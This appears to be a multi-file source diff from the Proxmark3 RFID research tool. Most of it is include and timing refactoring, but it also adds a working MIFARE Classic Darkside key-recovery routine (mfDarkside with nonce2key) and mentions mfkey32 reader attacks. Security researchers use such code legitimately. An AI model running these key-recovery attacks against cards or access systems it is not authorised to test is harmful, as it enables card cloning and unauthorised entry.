+#include "crapto1/crapto1.h"\r
+#include "mifareutil.h"\r
+#include "common.h"\r
+\r
 \r
 static int sniffState = SNF_INIT;\r
 static uint8_t sniffUIDType;\r
index 22daffee7b04ec74247b493c99addeb9088e4859..8a8e31a9e70503ab775e567b5877f93301ea9feb 100644 (file)
 #ifndef __MIFARESNIFF_H\r
 #define __MIFARESNIFF_H\r
 \r
-#include "proxmark3.h"\r
-#include "apps.h"\r
+#include <stdint.h>\r
+#include <stdbool.h>\r
 #include "util.h"\r
-#include "string.h"\r
-\r
-#include "iso14443crc.h"\r
-#include "iso14443a.h"\r
-#include "crapto1.h"\r
-#include "mifareutil.h"\r
-#include "common.h"\r
 \r
 #define SNF_INIT                               0\r
-#define SNF_NO_FIELD           1\r
-#define SNF_WUPREQ                     2\r
+#define SNF_NO_FIELD                   1\r
+#define SNF_WUPREQ                             2\r
 #define SNF_ATQA                               3\r
-#define SNF_ANTICOL1           4\r
+#define SNF_ANTICOL1                   4\r
 #define SNF_UID1                               5\r
-#define SNF_ANTICOL2           6\r
+#define SNF_ANTICOL2                   6\r
 #define SNF_UID2                               7\r
 #define SNF_SAK                                        8\r
-#define SNF_CARD_IDLE          9\r
-#define SNF_CARD_CMD           10\r
-#define SNF_CARD_RESP          11\r
+#define SNF_CARD_IDLE                  9\r
+#define SNF_CARD_CMD                   10\r
+#define SNF_CARD_RESP                  11\r
 \r
 #define SNF_UID_4                              0\r
 #define SNF_UID_7                              0\r
@@ -44,4 +37,4 @@ bool RAMFUNC MfSniffSend(uint16_t maxTimeoutMs);
 bool intMfSniffSend();\r
 bool MfSniffEnd(void);\r
 \r
-#endif
\ No newline at end of file
+#endif\r
index 8ef364c259f0d16216834a87dac9bef073be1e92..48fcd57a3691aa983bef9616dc89fe3dd52f4fff 100644 (file)
@@ -9,6 +9,7 @@
 // Work with mifare cards.\r
 //-----------------------------------------------------------------------------\r
 \r
+#include "mifareutil.h"\r
 #include "proxmark3.h"\r
 #include "apps.h"\r
 #include "util.h"\r
@@ -16,8 +17,7 @@
 \r
 #include "iso14443crc.h"\r
 #include "iso14443a.h"\r
-#include "crapto1.h"\r
-#include "mifareutil.h"\r
+#include "crapto1/crapto1.h"\r
 #include "des.h"\r
 \r
 int MF_DBGLEVEL = MF_DBG_ALL;\r
index 3d4dd40080fdaf74540074a82f49a41a86ecd47c..468c5ccea053efdcaaa3463590255862d46df7cd 100644 (file)
@@ -8,11 +8,12 @@
 //-----------------------------------------------------------------------------\r
 // code for work with mifare cards.\r
 //-----------------------------------------------------------------------------\r
-#include "crapto1.h"\r
 \r
 #ifndef __MIFAREUTIL_H\r
 #define __MIFAREUTIL_H\r
 \r
+#include "crapto1/crapto1.h"\r
+\r
 // mifare authentication\r
 #define CRYPT_NONE    0\r
 #define CRYPT_ALL     1\r
index 2a572c1129dd308f31f2049ac1abc461c0993fd9..ac7e6f9804b51da30dc47472262d1e14be88ef07 100644 (file)
@@ -15,7 +15,7 @@ OBJDIR = obj
 LDLIBS = -L/opt/local/lib -L/usr/local/lib -lreadline -lpthread -lm
 LUALIB = ../liblua/liblua.a
 LDFLAGS = $(COMMON_FLAGS)
-CFLAGS = -std=c99 -D_ISOC99_SOURCE -I. -I../include -I../common -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4
+CFLAGS = -std=c99 -D_ISOC99_SOURCE -I. -I../include -I../common -I../tools -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4
 LUAPLATFORM = generic
 
 ifneq (,$(findstring MINGW,$(platform)))
@@ -54,12 +54,11 @@ endif
 
 CORESRCS =     uart.c \
                util.c \
-               sleep.c
 
 
-CMDSRCS =      nonce2key/crapto1.c\
-                       nonce2key/crypto1.c\
-                       nonce2key/nonce2key.c\
+CMDSRCS =      crapto1/crapto1.c\
+                       crapto1/crypto1.c\
+                       nonce2key.c\
                        loclass/cipher.c \
                        loclass/cipherutils.c \
                        loclass/des.c \
index fddf0ac4d53283253bab7a50554485f22a8f1e89..01f65f553930c2a0a5859c69e6fadfd627ea7a3f 100644 (file)
@@ -8,7 +8,6 @@
 // CRC Calculations from the software reveng commands
 //-----------------------------------------------------------------------------
 
-#include <stdlib.h>
 #ifdef _WIN32
 #  include <io.h>
 #  include <fcntl.h>
@@ -19,8 +18,8 @@
 
 #include <stdio.h>
 #include <string.h>
-//#include <stdlib.h>
-//#include <ctype.h>
+#include <stdlib.h>
+#include <ctype.h>
 #include "cmdmain.h"
 #include "cmdcrc.h"
 #include "reveng/reveng.h"
index 17353fb66288ad6d61e4b7b8d68a1e88a7de8f35..cb71b93b4f568367bfce75eba6fa8fd21fe8e6b0 100644 (file)
@@ -8,10 +8,12 @@
 // High frequency commands
 //-----------------------------------------------------------------------------
 
+#include <stdlib.h>
 #include <stdio.h>
 #include <string.h>
 #include "proxmark3.h"
 #include "util.h"
+#include "data.h"
 #include "ui.h"
 #include "iso14443crc.h"
 #include "cmdmain.h"
index 3dc501d479f6baa9314e3765afa1f3a253d2a759..812db8ee0d85506630119de580162e2e4884dae4 100644 (file)
@@ -431,7 +431,7 @@ int CmdHF14ACUIDs(const char *Cmd)
        n = n > 0 ? n : 1;
 
        PrintAndLog("Collecting %d UIDs", n);
-       PrintAndLog("Start: %u", time(NULL));
+       PrintAndLog("Start: %" PRIu64, msclock()/1000);
        // repeat n times
        for (int i = 0; i < n; i++) {
                // execute anticollision procedure
@@ -454,7 +454,7 @@ int CmdHF14ACUIDs(const char *Cmd)
                        PrintAndLog("%s", uid_string);
                }
        }
-       PrintAndLog("End: %u", time(NULL));
+       PrintAndLog("End: %" PRIu64, msclock()/1000);
 
        return 1;
 }
index aa35dec6d18d7718ed6a1d2c3cbdb8368747f78e..dfdf1f4ab6092600bd1a671959f14ee6412fc094 100644 (file)
 #ifndef CMDHF14A_H__
 #define CMDHF14A_H__
 
-int CmdHF14A(const char *Cmd);
+#include <stdint.h>
 
+int CmdHF14A(const char *Cmd);
 int CmdHF14AList(const char *Cmd);
 int CmdHF14AMifare(const char *Cmd);
 int CmdHF14AReader(const char *Cmd);
 int CmdHF14ASim(const char *Cmd);
 int CmdHF14ASnoop(const char *Cmd);
-
 char* getTagInfo(uint8_t uid);
+
 #endif
index e50ce7082f9c2f973f72fee21e3e5d2b22966c01..786d0da1831a89e2bed31185ede8768955ae0c1e 100644 (file)
@@ -8,15 +8,19 @@
 // Commands related to the German electronic Identification Card
 //-----------------------------------------------------------------------------
 
-#include "util.h"
+#include "cmdhfepa.h"
 
+#include <inttypes.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <stdio.h>
+#include "util.h"
 #include "proxmark3.h"
 #include "ui.h"
 #include "cmdparser.h"
 #include "common.h"
 #include "cmdmain.h"
-#include "sleep.h"
-#include "cmdhfepa.h"
 
 static int CmdHelp(const char *Cmd);
 
@@ -37,7 +41,7 @@ int CmdHFEPACollectPACENonces(const char *Cmd)
        n = n > 0 ? n : 1;
 
        PrintAndLog("Collecting %u %u-byte nonces", n, m);
-       PrintAndLog("Start: %u", time(NULL));
+       PrintAndLog("Start: %" PRIu64 , msclock()/1000);
        // repeat n times
        for (unsigned int i = 0; i < n; i++) {
                // execute PACE
@@ -64,7 +68,7 @@ int CmdHFEPACollectPACENonces(const char *Cmd)
                        sleep(d);
                }
        }
-       PrintAndLog("End: %u", time(NULL));
+       PrintAndLog("End: %" PRIu64, msclock()/1000);
 
        return 1;
 }
index eb3dc878f15adc79fcd3349d96ef00824b2e0916..47660a6e2b3c4e4eb2e933ef91aba71c2eda694b 100644 (file)
@@ -9,99 +9,45 @@
 //-----------------------------------------------------------------------------\r
 \r
 #include <inttypes.h>\r
+#include <string.h>\r
 #include <stdio.h>\r
 #include <stdlib.h>\r
+#include <ctype.h>\r
 #include "proxmark3.h"\r
 #include "cmdmain.h"\r
 #include "util.h"\r
 #include "ui.h"\r
 #include "mifarehost.h"\r
 #include "mifare.h"\r
-#include "nonce2key/nonce2key.h"\r
+#include "nonce2key.h"\r
 \r
 #define NESTED_SECTOR_RETRY     10                     // how often we try mfested() until we give up\r
 \r
 \r
 static int CmdHelp(const char *Cmd);\r
 \r
+\r
 int CmdHF14AMifare(const char *Cmd)\r
 {\r
-       uint32_t uid = 0;\r
-       uint32_t nt = 0, nr = 0;\r
-       uint64_t par_list = 0, ks_list = 0, r_key = 0;\r
-       int16_t isOK = 0;\r
-\r
-       UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
-\r
-       // message\r
-       printf("-------------------------------------------------------------------------\n");\r
-       printf("Executing command. Expected execution time: 25sec on average  :-)\n");\r
-       printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
-       printf("-------------------------------------------------------------------------\n");\r
-\r
-       \r
- start:\r
-    clearCommandBuffer();\r
-    SendCommand(&c);\r
-       \r
-       //flush queue\r
-       while (ukbhit()) {\r
-               int c = getchar(); (void) c;\r
-       }\r
-       \r
-       // wait cycle\r
-       while (true) {\r
-        printf(".");\r
-               fflush(stdout);\r
-               if (ukbhit()) {\r
-                       getchar();\r
-                       printf("\naborted via keyboard!\n");\r
-                       break;\r
-               }\r
-               \r
-               UsbCommand resp;\r
-               if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
-                       isOK  = resp.arg[0];\r
-                       uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
-                       nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
-                       par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
-                       ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
-                       nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
-                       printf("\n\n");\r
-                       switch (isOK) {\r
-                               case -1 : PrintAndLog("Button pressed. Aborted.\n"); break;\r
-                               case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).\n"); break;\r
-                               case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable).\n"); break;\r
-                               case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");\r
-                                                       PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour.\n"); break;\r
-                               default: ;\r
-                       }\r
-                       break;\r
-               }\r
-       }       \r
+       int isOK = 0;\r
+       uint64_t key = 0;\r
 \r
-       printf("\n");\r
-       \r
-       // error\r
-       if (isOK != 1) return 1;\r
-       \r
-       // execute original function from util nonce2key\r
-       if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key)) {\r
-               isOK = 2;\r
-               PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);    \r
-               PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
-               c.arg[0] = false;\r
-               goto start;\r
-       } else {\r
-               isOK = 0;\r
-               printf("------------------------------------------------------------------\n");\r
-               PrintAndLog("Found valid key:%012" PRIx64 " \n", r_key);\r
+       isOK = mfDarkside(&key);\r
+       switch (isOK) {\r
+               case -1 : PrintAndLog("Button pressed. Aborted."); return 1;\r
+               case -2 : PrintAndLog("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests)."); return 1;\r
+               case -3 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator is not predictable)."); return 1;\r
+               case -4 : PrintAndLog("Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown");\r
+                                       PrintAndLog("generating polynomial with 16 effective bits only, but shows unexpected behaviour."); return 1;\r
+               case -5 : PrintAndLog("Aborted via keyboard.");  return 1;\r
+               default : PrintAndLog("Found valid key:%012" PRIx64 "\n", key);\r
        }\r
        \r
        PrintAndLog("");\r
        return 0;\r
 }\r
 \r
+\r
 int CmdHF14AMfWrBl(const char *Cmd)\r
 {\r
        uint8_t blockNo = 0;\r
@@ -688,8 +634,8 @@ int CmdHF14AMfNested(const char *Cmd)
                }\r
        }\r
        else { // ------------------------------------  multiple sectors working\r
-               clock_t time1;\r
-               time1 = clock();\r
+               uint64_t msclock1;\r
+               msclock1 = msclock();\r
 \r
                e_sector = calloc(SectorsCnt, sizeof(sector_t));\r
                if (e_sector == NULL) return 1;\r
@@ -759,7 +705,7 @@ int CmdHF14AMfNested(const char *Cmd)
                        }\r
                }\r
 \r
-               printf("Time in nested: %1.3f (%1.3f sec per key)\n\n", ((float)clock() - time1)/CLOCKS_PER_SEC, ((float)clock() - time1)/iterations/CLOCKS_PER_SEC);\r
+               printf("Time in nested: %1.3f (%1.3f sec per key)\n\n", ((float)(msclock() - msclock1))/1000.0, ((float)(msclock() - msclock1))/iterations/1000.0);\r
                \r
                PrintAndLog("-----------------------------------------------\nIterations count: %d\n\n", iterations);\r
                //print them\r
@@ -1088,7 +1034,7 @@ void readerAttack(nonces_t ar_resp[], bool setEmulatorMem, bool doStandardAttack
                                                }\r
                                        }\r
                                }\r
-                       } else if (tryMfk32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) {\r
+                       } else if (mfkey32_moebius(ar_resp[i+ATTACK_KEY_COUNT], &key)) {\r
                                uint8_t sectorNum = ar_resp[i+ATTACK_KEY_COUNT].sector;\r
                                uint8_t keyType = ar_resp[i+ATTACK_KEY_COUNT].keytype;\r
 \r
index b3912023a2a769ace2926376894ba93020218873..ed8c588d3e4750a9c3edf0aee508799a665324d5 100644 (file)
@@ -8,12 +8,15 @@
 // High frequency MIFARE ULTRALIGHT (C) commands
 //-----------------------------------------------------------------------------
 
+#include "cmdhfmfu.h"
+
+#include <stdint.h>
+#include <stdio.h>
 #include "proxmark3.h"
 #include "usb_cmd.h"
 #include "cmdmain.h"
 #include "ui.h"
 #include "loclass/des.h"
-#include "cmdhfmfu.h"
 #include "cmdhfmf.h"
 #include "cmdhf14a.h"
 #include "mifare.h"
index 1ace6bea23a0efb22db405842b1fda691a2c100f..8843e9e0cf6de146e8e605bebfee01fa3766113a 100644 (file)
@@ -10,6 +10,7 @@
 // Low frequency AWID26 commands
 //-----------------------------------------------------------------------------
 
+#include <string.h>
 #include <stdio.h>      // sscanf
 #include "proxmark3.h"  // Definitions, USB controls, etc
 #include "ui.h"         // PrintAndLog
index f9103126ea99863931b8b943e8ea0dbafef4acfd..6a076e3386a26cd29cefa43c35b0e7e921c4ff76 100644 (file)
@@ -14,6 +14,7 @@
 #include "proxmark3.h"
 #include "ui.h"
 #include "util.h"
+#include "data.h"
 #include "graph.h"
 #include "cmdparser.h"
 #include "cmddata.h"
@@ -762,9 +763,10 @@ int CmdEM4x05dump(const char *Cmd) {
 int usage_lf_em_write(void) {
        PrintAndLog("Write EM4x05/EM4x69.  Tag must be on antenna. ");
        PrintAndLog("");
-       PrintAndLog("Usage:  lf em 4x05writeword [h] <address> <data> <pwd>");
+       PrintAndLog("Usage:  lf em 4x05writeword [h] [s] <address> <data> <pwd>");
        PrintAndLog("Options:");
        PrintAndLog("       h         - this help");
+       PrintAndLog("       s         - swap data bit order before write");
        PrintAndLog("       address   - memory address to write to. (0-15)");
        PrintAndLog("       data      - data to write (hex)");  
        PrintAndLog("       pwd       - password (hex) (optional)");
@@ -777,18 +779,23 @@ int usage_lf_em_write(void) {
 int CmdEM4x05WriteWord(const char *Cmd) {
        uint8_t ctmp = param_getchar(Cmd, 0);
        if ( strlen(Cmd) == 0 || ctmp == 'H' || ctmp == 'h' ) return usage_lf_em_write();
-       
+
        bool usePwd = false;
-               
+
        uint8_t addr = 16; // default to invalid address
        uint32_t data = 0xFFFFFFFF; // default to blank data
        uint32_t pwd = 0xFFFFFFFF; // default to blank password
-       
-       addr = param_get8ex(Cmd, 0, 16, 10);
-       data = param_get32ex(Cmd, 1, 0, 16);
-       pwd =  param_get32ex(Cmd, 2, 1, 16);
-       
-       
+       char swap = 0;
+
+       int p = 0;
+       swap = param_getchar(Cmd, 0);
+       if (swap == 's' || swap=='S') p++;
+       addr = param_get8ex(Cmd, p++, 16, 10);
+       data = param_get32ex(Cmd, p++, 0, 16);
+       pwd  = param_get32ex(Cmd, p++, 1, 16);
+
+       if (swap == 's' || swap=='S') data = SwapBits(data, 32);
+
        if ( (addr > 15) ) {
                PrintAndLog("Address must be between 0 and 15");
                return 1;
@@ -797,15 +804,15 @@ int CmdEM4x05WriteWord(const char *Cmd) {
                PrintAndLog("Writing address %d data %08X", addr, data);        
        else {
                usePwd = true;
-               PrintAndLog("Writing address %d data %08X using password %08X", addr, data, pwd);               
+               PrintAndLog("Writing address %d data %08X using password %08X", addr, data, pwd);
        }
-       
+
        uint16_t flag = (addr << 8 ) | usePwd;
-       
+
        UsbCommand c = {CMD_EM4X_WRITE_WORD, {flag, data, pwd}};
        clearCommandBuffer();
        SendCommand(&c);
-       UsbCommand resp;        
+       UsbCommand resp;
        if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)){
                PrintAndLog("Error occurred, device did not respond during write operation.");
                return -1;
@@ -813,7 +820,7 @@ int CmdEM4x05WriteWord(const char *Cmd) {
        if ( !downloadSamplesEM() ) {
                return -1;
        }
-       //check response for 00001010 for write confirmation!   
+       //check response for 00001010 for write confirmation!
        //attempt demod:
        uint32_t dummy = 0;
        int result = demodEM4x05resp(&dummy,false);
index ad8fd33bf4886077b1b43ee62009e08e58af697c..47a85a1afcab361c025eb71a92906655c33d8205 100644 (file)
@@ -19,7 +19,6 @@
 #include "util.h"
 #include "hitag2.h"
 #include "hitagS.h"
-#include "sleep.h"
 #include "cmdmain.h"
 
 static int CmdHelp(const char *Cmd);
index c6dbd7561f42a6ed307ab4ff36e74182be63ad6b..8bb341496b39e2062c3d7063aa3fb5a19c574618 100644 (file)
@@ -8,6 +8,7 @@
 //-----------------------------------------------------------------------------
 #include <string.h>
 #include <inttypes.h>
+#include <stdio.h>
 #include "cmdlfpresco.h"
 #include "proxmark3.h"
 #include "ui.h"
index 7c19fbdba3971b6be18b9a19bc126c621ccc84c7..2494f2655529b72aee15378caee412e3c5349435 100644 (file)
@@ -8,6 +8,7 @@
 //-----------------------------------------------------------------------------
 #include <string.h>
 #include <inttypes.h>
+#include <stdio.h>
 #include "cmdlfpyramid.h"
 #include "proxmark3.h"
 #include "ui.h"
index 27c84efa536efc80dbcd95c35ac03f0e57ef266e..b287ce28efec268a710783ee506e159d8d8c7273 100644 (file)
@@ -10,6 +10,8 @@
 #include <stdio.h>\r
 #include <string.h>\r
 #include <inttypes.h>\r
+#include <ctype.h>\r
+#include <time.h>\r
 #include "proxmark3.h"\r
 #include "ui.h"\r
 #include "graph.h"\r
index 9ce35f98aee41669a2d2b91748d98d0fbcce57a0..292fa1a3de2b240c91ba8cac97635f0f1147880f 100644 (file)
@@ -9,6 +9,9 @@
 //-----------------------------------------------------------------------------
 
 #include "cmdlfvisa2000.h"
+
+#include <stdio.h>
+#include <string.h>
 #include "proxmark3.h"
 #include "ui.h"
 #include "util.h"
index 843f9301dc0b554e39f5327ededdf5729e3f67f7..44c11aeb7965d065992f0a6417c6fe73c0c84d47 100644 (file)
@@ -12,7 +12,6 @@
 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
-#include "sleep.h"
 #include "cmdparser.h"
 #include "proxmark3.h"
 #include "data.h"
index c840c92215224192624f3fe6f51971c0e97f8eb0..0b940e99df6bbf687f1cd3d9acf693a3ccc376a5 100644 (file)
@@ -12,8 +12,9 @@
 #include <string.h>
 #include <stdlib.h>
 #include <inttypes.h>
+#include <unistd.h>
 #include "proxmark3.h"
-#include "sleep.h"
+#include "util.h"
 #include "flash.h"
 #include "elf.h"
 #include "proxendian.h"
index d6d37706cf3b5b4d367664427cb93a4d6df94277..0c1dbd71f1794a1fe4a6a33f2792f057878b5363 100644 (file)
@@ -10,8 +10,8 @@
 #include <stdlib.h>
 #include <string.h>
 #include <inttypes.h>
-#include "sleep.h"
 #include "proxmark3.h"
+#include "util.h"
 #include "flash.h"
 #include "uart.h"
 #include "usb_cmd.h"
index 6670d637dca187bff1c7944961dbe20101198620..da0a17b619afee364b19fc42a4320e5b181b0790 100644 (file)
@@ -11,7 +11,6 @@
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
-#include "sleep.h"
 #include "proxusb.h"
 #include "flash.h"
 #include "elf.h"
index a4a0e85e7c73254e360fef2add6a1420aa652f12..2f0c20072d925389d2365923dc9082597cc19bc0 100644 (file)
@@ -9,7 +9,6 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
-#include "sleep.h"
 #include "proxusb.h"
 #include "flash.h"
 
index 3c2b20b4c13fdf6ffc182ff24a0a155b2dd903f0..04dbb784b85ce9b3270a4aabaec31fa0c4a290de 100644 (file)
@@ -18,7 +18,6 @@
 #include <strings.h>
 #include <errno.h>
 
-#include "sleep.h"
 #include "proxusb.h"
 #include "proxmark3.h"
 #include "usb_cmd.h"
index e9814e95e6d13604b98931f5e7aae6638addad17..e52c9a6a3fad585898843f91d17ba3017dceb36a 100644 (file)
@@ -40,7 +40,7 @@
 #include <stdbool.h>
 #include <string.h>
 #include <stdio.h>
-#include <time.h>
+#include "util.h"
 #include "cipherutils.h"
 #include "cipher.h"
 #include "ikeys.h"
@@ -512,7 +512,7 @@ int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
        uint8_t i;
        int errors = 0;
        size_t itemsize = sizeof(dumpdata);
-       clock_t t1 = clock();
+       uint64_t t1 = msclock();
 
        dumpdata* attack = (dumpdata* ) malloc(itemsize);
 
@@ -522,9 +522,9 @@ int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
                errors += bruteforceItem(*attack, keytable);
        }
        free(attack);
-       t1 = clock() - t1;
-       float diff = ((float)t1 / CLOCKS_PER_SEC );
-       prnlog("\nPerformed full crack in %f seconds",diff);
+       t1 = msclock() - t1;
+       float diff = (float)t1 / 1000.0;
+       prnlog("\nPerformed full crack in %f seconds", diff);
 
        // Pick out the first 16 bytes of the keytable.
        // The keytable is now in 16-bit ints, where the upper 8 bits
index 5e0f47603f2498521b1cad4ab7e0aebb2f2522d7..cbd79cf7536d5475288f1d02518f09075889de49 100644 (file)
@@ -13,7 +13,7 @@
 #include <string.h>\r
 #include <pthread.h>\r
 \r
-#include "nonce2key/crapto1.h"\r
+#include "crapto1/crapto1.h"\r
 #include "proxmark3.h"\r
 #include "usb_cmd.h"\r
 #include "cmdmain.h"\r
 #define TRACE_ERROR                                            0xFF\r
 \r
 \r
-// MIFARE\r
+static int compare_uint64(const void *a, const void *b) {\r
+       // didn't work: (the result is truncated to 32 bits)\r
+       //return (*(int64_t*)b - *(int64_t*)a);\r
+\r
+       // better:\r
+       if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
+       else if (*(uint64_t*)b < *(uint64_t*)a) return 1;\r
+       else return -1;\r
+}\r
+\r
+\r
+// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.\r
+static uint32_t intersection(uint64_t *list1, uint64_t *list2)\r
+{\r
+       if (list1 == NULL || list2 == NULL) {\r
+               return 0;\r
+       }\r
+       uint64_t *p1, *p2, *p3;\r
+       p1 = p3 = list1; \r
+       p2 = list2;\r
+\r
+       while ( *p1 != -1 && *p2 != -1 ) {\r
+               if (compare_uint64(p1, p2) == 0) {\r
+                       *p3++ = *p1++;\r
+                       p2++;\r
+               }\r
+               else {\r
+                       while (compare_uint64(p1, p2) < 0) ++p1;\r
+                       while (compare_uint64(p1, p2) > 0) ++p2;\r
+               }\r
+       }\r
+       *p3 = -1;\r
+       return p3 - list1;\r
+}\r
+\r
+\r
+// Darkside attack (hf mf mifare)\r
+static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {\r
+       struct Crypto1State *states;\r
+       uint32_t i, pos, rr; //nr_diff;\r
+       uint8_t bt, ks3x[8], par[8][8];\r
+       uint64_t key_recovered;\r
+       static uint64_t *keylist;\r
+       rr = 0;\r
+\r
+       // Reset the last three significant bits of the reader nonce\r
+       nr &= 0xffffff1f;\r
+\r
+       for (pos=0; pos<8; pos++) {\r
+               ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;\r
+               bt = (par_info >> (pos*8)) & 0xff;\r
+               for (i=0; i<8; i++)     {\r
+                               par[7-pos][i] = (bt >> i) & 0x01;\r
+               }\r
+       }\r
+\r
+       states = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));\r
+\r
+       if (states == NULL) {\r
+               *keys = NULL;\r
+               return 0;\r
+       }\r
+\r
+       keylist = (uint64_t*)states;\r
+       \r
+       for (i = 0; keylist[i]; i++) {\r
+               lfsr_rollback_word(states+i, uid^nt, 0);\r
+               crypto1_get_lfsr(states+i, &key_recovered);\r
+               keylist[i] = key_recovered;\r
+       }\r
+       keylist[i] = -1;\r
+\r
+       *keys = keylist;\r
+       return i;\r
+}\r
+\r
+\r
+int mfDarkside(uint64_t *key)\r
+{\r
+       uint32_t uid = 0;\r
+       uint32_t nt = 0, nr = 0;\r
+       uint64_t par_list = 0, ks_list = 0;\r
+       uint64_t *keylist = NULL, *last_keylist = NULL;\r
+       uint32_t keycount = 0;\r
+       int16_t isOK = 0;\r
+\r
+       UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
+\r
+       // message\r
+       printf("-------------------------------------------------------------------------\n");\r
+       printf("Executing command. Expected execution time: 25sec on average\n");\r
+       printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
+       printf("-------------------------------------------------------------------------\n");\r
+\r
+       \r
+       while (true) {\r
+               clearCommandBuffer();\r
+               SendCommand(&c);\r
+               \r
+               //flush queue\r
+               while (ukbhit()) {\r
+                       int c = getchar(); (void) c;\r
+               }\r
+               \r
+               // wait cycle\r
+               while (true) {\r
+                       printf(".");\r
+                       fflush(stdout);\r
+                       if (ukbhit()) {\r
+                               return -5;\r
+                               break;\r
+                       }\r
+                       \r
+                       UsbCommand resp;\r
+                       if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
+                               isOK  = resp.arg[0];\r
+                               if (isOK < 0) {\r
+                                       return isOK;\r
+                               }\r
+                               uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);\r
+                               nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);\r
+                               par_list = bytes_to_num(resp.d.asBytes +  8, 8);\r
+                               ks_list = bytes_to_num(resp.d.asBytes +  16, 8);\r
+                               nr = bytes_to_num(resp.d.asBytes + 24, 4);\r
+                               break;\r
+                       }\r
+               }       \r
+\r
+               if (par_list == 0 && c.arg[0] == true) {\r
+                       PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");\r
+                       PrintAndLog("Attack will take a few seconds longer because we need two consecutive successful runs.");\r
+               }\r
+               c.arg[0] = false;\r
+\r
+               keycount = nonce2key(uid, nt, nr, par_list, ks_list, &keylist);\r
+\r
+               if (keycount == 0) {\r
+                       PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);    \r
+                       PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
+                       continue;\r
+               }\r
+\r
+               qsort(keylist, keycount, sizeof(*keylist), compare_uint64);\r
+               keycount = intersection(last_keylist, keylist);\r
+               if (keycount == 0) {\r
+                       free(last_keylist);\r
+                       last_keylist = keylist;\r
+                       continue;\r
+               }\r
+\r
+               if (keycount > 1) {\r
+                       PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);\r
+               } else {\r
+                       PrintAndLog("Found a possible key. Trying to authenticate...\n");\r
+               }               \r
+\r
+               *key = -1;\r
+               uint8_t keyBlock[USB_CMD_DATA_SIZE];\r
+               int max_keys = USB_CMD_DATA_SIZE/6;\r
+               for (int i = 0; i < keycount; i += max_keys) {\r
+                       int size = keycount - i > max_keys ? max_keys : keycount - i;\r
+                       for (int j = 0; j < size; j++) {\r
+                               if (last_keylist == NULL) {\r
+                                       num_to_bytes(keylist[i*max_keys + j], 6, keyBlock);\r
+                               } else {\r
+                                       num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock);\r
+                               }\r
+                       }\r
+                       if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {\r
+                               break;\r
+                       }\r
+               }       \r
+               \r
+               if (*key != -1) {\r
+                       free(last_keylist);\r
+                       free(keylist);\r
+                       break;\r
+               } else {\r
+                       PrintAndLog("Authentication failed. Trying again...");\r
+                       free(last_keylist);\r
+                       last_keylist = keylist;\r
+               }\r
+       }\r
+       \r
+       return 0;\r
+}\r
+\r
+\r
 int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t * keyBlock, uint64_t * key){\r
 \r
        *key = 0;\r
@@ -49,16 +236,6 @@ int mfCheckKeys (uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t key
        return 0;\r
 }\r
 \r
-int compar_int(const void * a, const void * b) {\r
-       // didn't work: (the result is truncated to 32 bits)\r
-       //return (*(uint64_t*)b - *(uint64_t*)a);\r
-\r
-       // better:\r
-       if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
-       else if (*(uint64_t*)b > *(uint64_t*)a) return 1;\r
-       else return -1;\r
-}\r
-\r
 // Compare 16 Bits out of cryptostate\r
 int Compare16Bits(const void * a, const void * b) {\r
        if ((*(uint64_t*)b & 0x00ff000000ff0000) == (*(uint64_t*)a & 0x00ff000000ff0000)) return 0;\r
@@ -100,7 +277,7 @@ void* nested_worker_thread(void *arg)
        return statelist->head.slhead;\r
 }\r
 \r
-int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t * key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t * resultKey, bool calibrate) \r
